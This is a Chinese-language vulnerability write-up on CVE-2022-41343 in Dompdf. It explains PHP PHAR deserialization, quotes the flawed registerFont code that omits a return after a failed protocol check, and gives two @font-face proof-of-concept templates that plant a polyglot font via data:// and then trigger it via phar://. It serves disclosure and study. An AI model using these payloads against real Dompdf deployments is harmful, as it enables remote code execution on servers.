# CVE-2022-41343 ###### tags: `CVE` `Note` `MCL` `poc` `deserialize` > registerFont in FontMetrics.php in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a @font-face rule. :::info affact Dompdf (, 2.0.1] ::: ## Abstract Dompdf is a popular library in PHP used for rendering PDF files from HTML. ## Background ### Serialize(序列化) 將物件轉化為可以儲存與傳輸的格式,Ex: json, string > php 中的 serialize > python3 中的 json.dumps 與 pickle.dumps ### Deserialize(反序列化) 將序列化後的資料轉回物件型態 > php 中的 unserialize > python3 中的 json.loads 與 pickle.loads 但如果資料是可控的,有機會造成在 deserialize 回物件時呼叫 magic function,當 function 與 arguments 都可控的情況下會造成 RCE * php unserialize magic function * __toString() * Invoked when object is converted to a string. (by echo for example) * __destruct() * Invoked when an object is deleted. When no reference to the deserialised object instance exists, __destruct() is called. * __wakeup() * Invoked when an object is unserialised. automatically called upon object deserialisation. * __call() * will be called if the object attempts to call an inexistent function * ... * python3 pickle magic function * \_\_reduce__ ### PHAR(PHP Archive) 一種打包格式,是將 php code 與其他資源打包進 PHAR 文件中,當 php 解析此種文件時,會進行反序列化 ### Methology #### CVE-2022-28368 在`DomPdf v1.2.1` `CVE-2022-28368` 曾揭露了一項 RCE 漏洞,成因是`DomPdf` 有個選項是允許使用者使用遠端的字型檔,若是有打開且引用了外部字型檔,會讓字型檔的 cache 留在 server 電腦中,但是他卻沒對字型的安全性做驗證,導致一項任意上傳的漏洞,而檔案會以 `[font_name]_[font_weight]_[md5(src:url)].[ext]` 這樣的形式存在於 `/vendor/dompdf/dompdf/lib/fonts/` 中 [patch](https://github.com/dompdf/dompdf/compare/v1.2.0...v1.2.1) patch 的方式是檔案尾巴加上`.ttf` ![](https://i.imgur.com/jc5WhKh.png) 那還是可以任意上傳到 server,那如果我們上傳 `phar://` 類型的檔案是不是就能 RCE ? #### CVE-2021-3838 可惜在 `CVE-2021-3838` 中就已經先提出過這項問題了 在 `Helpers::getFileContent()` 下載文件之前,會先驗證 protocal 是否在 `$allowedProtocols` 裡面,如果檢查失敗,會記錄一條警告消息,並且 `return` 而不會處理該文件 [code](https://github.com/dompdf/dompdf/blob/79573d8b8a141ec8a17312515de8740eed014fa9/src/Options.php#L529) ```php public function __construct(array $attributes = null) { ... $this->setAllowedProtocols(["file://", "http://", "https://"]); ... ``` #### CVE-2022-41343 但真的檢查下去卻發現,在 `registerFont()` 中卻缺少了錯誤的 return,代表說我們又能使用 `phar://` 了 [`FontMetrics.php`](https://github.com/dompdf/dompdf/blob/v2.0.0/src/FontMetrics.php#L178) ```php public function registerFont($style, $remoteFile, $context = null) { $fontname = mb_strtolower($style["family"]); $families = $this->getFontFamilies(); ... // Download the remote file [$protocol] = Helpers::explode_url($remoteFile); $allowed_protocols = $this->options->getAllowedProtocols(); if (!array_key_exists($protocol, $allowed_protocols)) { Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__); } foreach ($allowed_protocols[$protocol]["rules"] as $rule) { [$result, $message] = $rule($remoteFile); if ($result !== true) { // warning 卻沒 return Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__); } } // 那我們可以成功將指定 file 餵給 Helpers::getFileContent list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context); if ($remoteFileContent === null) { return false; } ... ``` 那我們接下來看 `Helpers::getFileContents()` 我們可以先觸發 `Helpers::encodeURI` 讓檔案存在 server 的 disk 中,再觸發 `file_get_contents` 將檔案 include 進去達成反序列化 [`Help.php`](https://github.com/dompdf/dompdf/blob/66431c58017d5b1bdb9f6f772b9fbbc5e3d38dc2/src/Helpers.php#L897) ```php public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null) { $content = null; $headers = null; [$protocol] = Helpers::explode_url($uri); $is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true); $can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true); set_error_handler([self::class, 'record_warnings']); try { if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) { // 第一步 if ($is_local_path === false) { $uri = Helpers::encodeURI($uri); } // 第二步 if (isset($maxlen)) { $result = file_get_contents($uri, false, $context, $offset, $maxlen); } else { $result = file_get_contents($uri, false, $context, $offset); } if ($result !== false) { $content = $result; } if (isset($http_response_header)) { $headers = $http_response_header; } ``` 1. 利用 `data://` 上傳 2. 利用 `phar://` 執行反序列化 ## Poc ```code <style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,double_url_encode([BASE64_POLYGLOT_TRUETYPE-PHAR])'); font-weight:'normal'; font-style:'normal'; } </style> ``` ```code <style> @font-face { font-family:'exploit'; src:url('phar://path/to/app/vendor/dompdf/dompdf/lib/fonts/exploit_normal_[md5(data:text/plain;base64,[BASE64_POLYGLOT_TRUETYPE-PHAR])].ttf##'); font-weight:'normal'; font-style:'normal'; } </style> ``` ## Patch [加上 return false 就好了](https://github.com/dompdf/dompdf/compare/v2.0.0...v2.0.1#diff-a0473fa74c65efedd487f657d52cb196245a84d2b13e622818dd0d7283da6d38) ## Reference [CVE-2022-41343](https://tantosec.com/blog/cve-2022-41343/)